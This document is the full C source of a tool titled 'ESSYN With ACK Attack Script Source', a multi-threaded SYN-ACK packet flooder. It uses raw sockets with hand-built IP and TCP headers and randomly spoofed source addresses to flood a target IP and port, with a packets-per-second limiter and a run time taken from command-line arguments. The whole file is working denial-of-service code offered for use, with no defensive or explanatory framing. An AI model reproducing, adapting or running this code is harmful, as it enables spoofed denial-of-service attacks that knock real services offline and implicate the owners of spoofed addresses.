ESSYN With ACK Attack Script Source

/*
 * This is released under the GNU GPL License v3.0, and is allowed to be used for commercial products ;)
 */
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>
#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9
static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;
void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}
unsigned short csum (unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while( count > 1 ) { sum += *buf++; count -= 2; }
    if(count > 0) { sum += *(unsigned char *)buf; }
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (unsigned short)(~sum);
}
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
    struct tcp_pseudo
    {
    unsigned long src_addr;
    unsigned long dst_addr;
    unsigned char zero;
    unsigned char proto;
    unsigned short length;
    } pseudohead;
    unsigned short total_len = iph->tot_len;
    pseudohead.src_addr=iph->saddr;
    pseudohead.dst_addr=iph->daddr;
    pseudohead.zero=0;
    pseudohead.proto=IPPROTO_TCP;
    pseudohead.length=htons(sizeof(struct tcphdr));
    int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
    unsigned short *tcp = malloc(totaltcp_len);
    memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
    memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
    unsigned short output = csum(tcp,totaltcp_len);
    free(tcp);
    return output;
}
void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = 6;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}

void setup_tcp_header(struct tcphdr *tcph)
{
    tcph->source = htons(5678);
    tcph->seq = rand();
    tcph->ack_seq = rand();
    tcph->res2 = 0;
    tcph->doff = 5;
    tcph->syn = 1;
    tcph->ack = 1;
    tcph->window = rand();
    tcph->check = 0;
    tcph->urg_ptr = 0;
}
void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(td);
    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
    fprintf(stderr, "Could not open raw socket.\n");
    exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_tcp_header(tcph);
    tcph->dest = htons(floodport);
    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len);
    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
        exit(-1);
    }
    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
    while(1){
    sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
    iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
    iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
    iph->check = csum ((unsigned short *) datagram, iph->tot_len);
    tcph->seq = rand_cmwc() & 0xFFFF;
    tcph->source = htons(rand_cmwc() & 0xFFFF);
    tcph->check = 0;
    tcph->check = tcpcsum(iph, tcph);
    pps++;
    if(i >= limiter)
    {
    i = 0;
    usleep(sleeptime);
    }
    i++;
    }
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
    exit(-1);
    }
    fprintf(stdout, "Setting up Sockets...\n");
    int num_threads = atoi(argv[3]);
    floodport = atoi(argv[2]);
    int maxpps = atoi(argv[4]);
    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];
    int multiplier = 20;
    int i;
    for(i = 0;i<num_threads;i++){
    pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "Starting Flood...\n");
    for(i = 0;i<(atoi(argv[5])*multiplier);i++)
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}